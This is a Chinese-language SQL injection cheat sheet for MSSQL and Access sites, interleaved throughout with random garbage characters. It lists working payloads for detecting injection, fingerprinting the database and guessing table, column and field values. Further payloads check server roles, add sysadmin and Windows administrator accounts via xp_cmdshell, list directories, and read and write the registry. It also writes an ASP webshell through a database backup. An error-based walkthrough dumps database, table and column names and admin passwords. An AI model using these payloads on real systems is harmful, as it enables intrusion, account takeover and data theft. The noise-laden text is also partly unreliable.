1.判断是否有注入 & P4 k" D' d" U
;and 1=1
8 V) {: ]1 k$ y;and 1=2
1 g g7 w' p1 ]& G: n2 Z8 x8 X, D3 M0 b* K' Y
2.初步判断是否是mssql
! n; F1 G" H; g4 |1 R5 ^;and user>0
! N" U0 K2 Z+ x' D1 h; r* W ?) g6 M7 l) i1 V8 H
3.判断数据库系统 - r& _6 W4 p) j' P
;and (select count(*) from sysobjects)>0 mssql
0 u1 n* Z. w) ]% w& d! @$ c7 V;and (select count(*) from msysobjects)>0 access
) P2 r" ?0 r8 Q( W! v
& F" |+ K5 j' \3 @" {4.注入参数是字符 7 }0 j& V* x% F: T7 T: \
'and [查询条件] and ''='
0 Y; v8 ]) G9 ]2 `: b4 K \( T/ N- q4 I' I* Y/ v/ v1 V% K1 I/ N
5.搜索时没过滤参数的 % x/ \& H9 k+ o+ N9 a+ Z( S8 B
'and [查询条件] and '%25'=' 7 H3 p+ v! ?$ {# U3 F$ ]
8 i, C" p7 {. e2 k- @& Q
6.猜数表名 2 n; X+ s3 c" \4 b; |' N1 U, y
;and (select Count(*) from [表名])>0 . F* ]! ?" G) H0 c& O% }
3 X' o" f' s' J, K
7.猜字段
5 E. f% Z; g! u. n9 H; a1 E;and (select Count(字段名) from 表名)>0
2 l4 q2 F$ ? l8 z- B |- S& _# a, t1 C$ w6 V+ o
8.猜字段中记录长度 ; x- k; E; f2 g% ^; m, ?' }: ^3 f
;and (select top 1 len(字段名) from 表名)>0 # g5 P! ~! q. j3 | }. M. d
- p' ^" K8 f* u8 G, L2 h7 V! }5 o
9.(1)猜字段的ascii值(access)
2 E9 v' m( p7 C% S5 U0 C! U;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ) K2 t5 |) v& ~% H$ I1 c8 J
9 I8 b3 C- l7 {+ X0 O8 D. h# T* d5 K(2)猜字段的ascii值(mssql)
' |: z8 z; H+ ?0 [. a1 ]! l! Q;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ \' _ `5 O- E, \
7 M- `) D4 R( f6 U5 ?10.测试权限结构(mssql) : l' w" O d9 k2 ?/ N2 P1 N, h
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ( A+ L9 s2 _% T
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 h( a' K2 _) c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 i8 J2 `5 I, w3 ]% N# C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 _$ x8 E' h: o& H/ ]* `;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: h( J7 T, F- `! E0 ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# F& g* g% _: a& T- I;and 1=(select IS_MEMBER('db_owner'));--
- |: `- U6 ~4 o* c! Z3 Q, n% ~$ E8 I) C- }/ i! I
11.添加mssql和系统的帐户 . o: R1 N* w( O7 {3 U
;exec master.dbo.sp_addlogin username;--
6 R) @5 L- F9 F2 b3 A. ];exec master.dbo.sp_password null,username,password;--
1 B7 r8 S% h% J& j" j/ s;exec master.dbo.sp_addsrvrolemember sysadmin username;--
! W0 Y h* F# Q6 l b;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
' v5 a S. Y! P" K# Z;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 f7 ^- ?3 z, ]! E3 r5 `
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # v! u+ R2 E/ g
! w5 P+ ~5 E5 H: V) S# w/ k' b
12.(1)遍历目录
- Q1 N3 G% j. b5 X# P1 {9 i;create table dirs(paths varchar(100), id int)
+ |, O: ~8 @3 i; r8 j, [+ _% j;insert dirs exec master.dbo.xp_dirtree 'c:\'
% U! L+ E9 _0 M) d+ z. H;and (select top 1 paths from dirs)>0
5 |0 {" |# ~) Z" x$ @;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# h/ G2 v5 `9 S! C6 p$ j% U" C- y' d* W' B% @" b) E; H" `, b
(2)遍历目录
: D# v0 ]) q4 a: _" c* n;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " w5 }: u K6 v+ ~- ^9 z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1 {8 x9 q" ?$ v5 H/ q5 H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! A. I5 i E. i& Z% F3 Z: ]9 G;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 2 ]/ D: } @. E$ d) S% J
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
: o9 M$ D. Q" p6 H8 @1 B
- p" l$ ~' r2 A/ D, ^ t# |# Y x13.mssql中的存储过程 7 ^5 F% \2 a8 d+ Y% P, M2 p5 o, q
xp_regenumvalues 注册表根键, 子键
1 J R; P# G+ f1 s;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # N1 C9 w& Y; e; m4 _" Q0 J$ Z
xp_regread 根键,子键,键值名 3 h8 y$ U# L6 k" K2 B+ q# N( b
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 L6 K- O2 n' _$ [! G4 y6 D, Vxp_regwrite 根键,子键, 值名, 值类型, 值
, S! R: r0 U! X值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
1 J. V% P# ^: A6 T;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 - m7 F/ G6 B* h1 U* K% P9 i% ^1 F
xp_regdeletevalue 根键,子键,值名
- a+ T. X6 b) V% W. J* \. s$ Kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
0 w' j( y0 r- }, x# g! n( }. X Wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
3 Q/ j: q; ^2 O9 W% U8 }
: U4 d8 O* J& g- Q U! Q14.mssql的backup创建webshell
( H) ?: f2 n6 _9 q3 j% }use model
! Q) F5 X* n9 p+ L* D! {create table cmd(str image);
& V8 o" W* ~& @ P4 P' @! f4 b. K+ b* hinsert into cmd(str) values ('<% Dim oScript %>'); % j/ R" _7 v: N
backup database model to disk='c:\l.asp';
3 Y0 F1 m7 H; K' u$ v: @7 T: F1 Q- `& ^) ~- n: ~& c
15.mssql内置函数
& f+ }% b8 n4 D$ M* S, C7 o. S! m6 w;and (select @@version)>0 获得Windows的版本号
7 u. T# i, c5 v) a1 m) R" a;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 q( d" O. r7 M# p. v;and (select user_name())>0 爆当前系统的连接用户 7 Q8 \' y8 i/ E2 d' O
;and (select db_name())>0 得到当前连接的数据库 0 a. O H) p" \5 l5 h$ R0 ?
]) t. y) S. D. r B( b- ]7 f
( l3 c( H; {; s0 Q, H- @( C' u8 o) W* y) L% x' q
MSSQL手注暴库
8 O9 L+ @5 V5 V% M- g* a( b/ x# ]$ |& i5 F6 b: ?
1.暴出当前表名和列名% K" U+ ], R" q# I" y+ a
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
, j: M7 S3 H+ ?* g3 d
* `$ J5 M/ z; x1 \第一.爆出所有数据库名
& L$ F) K' U2 h9 z. i利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
" c3 h& u# V7 |/ ~4 k第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
# G+ x0 r7 ]0 Q4 \+ S6 Q% x
, O; B% j1 ?# M6 r! Gand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
& ^; Q- G B1 S) i. X1 }6 B2 w5 g4 e J$ z
7 D) ?4 x7 _8 w$ z% _4 N0 c第二.爆出指定库中的所有表名4 P' ^9 f+ S9 C8 H4 ?/ f( o
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! J# C' D* g1 f9 H7 N# f, {
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。5 p! `% N0 ~6 C4 Y# O: b9 E- a
. G% }5 g8 q7 f+ _# r! j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
" a, p; I) r8 @and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--, S+ M6 W+ W8 O1 e
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
" {) ^& z, C9 O( y
H2 t) f3 j( [4.爆出指定表中的所有列名& R9 W7 u3 M) b( j4 k R" d
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
1 Z7 U8 T6 c$ ~5 n0 G//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'8 _1 l' T# n! ]) l
% B) M" \1 J! h# j& d. Q( ]7 \and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名' k( A9 \. R$ \# S) B' m: l
5 {% f, u; {/ t4 z, D2 _9 s
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
) O; D' x6 F4 ]依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
( S; V$ r7 u4 i$ @3 r
; r+ }8 ~' ]7 h& W+ a
. R Y2 X( ^' T7 R5 Dand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值+ L7 R ] ]* V7 Q6 m/ B3 k6 z/ u7 X, m
) i) n: I7 C5 U5 H+ A2 X) I
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
) {0 _. j* o: v- m
3 w( R! V2 y* y! uand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
9 W; G: A! E+ s$ G6 c1 _7 W1 G2 T
% O# F" z/ {% L. v, _# L4 b! @5 T( h7 G
" M+ g+ I3 ^2 z5 J* h; l g
5.读取指定表中的数据
" F. z3 R' \2 S V' Q5 `& r3 a7 X* R! A- w& N
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 r" E8 p( z/ [% {
$ r7 y9 V. h- m' Y; L" b% ]( G# pand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 ^6 u: {- J( F5 I3 Y- o" K1 d% O
: T+ R" P8 R* T. i9 Sand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
2 f t) E3 t: A; \; ]
( H+ F& Z1 ~ ^5 e }( E9 R% ]4 o# o1 g9 |
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao), y+ o$ N1 G/ N/ K; E0 B# U) y
+ a+ _. l C3 J/ o; n5 `; Land 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)2 V: S9 U2 ?9 Q/ i
8 T7 L+ o+ @4 E: H" } Q" ~' b) W- ^and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
- {, k( U0 C) o6 m* X l; C c) E3 X C6 |; W& E
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
* ]; `2 m- H% q9 t$ A% ~ |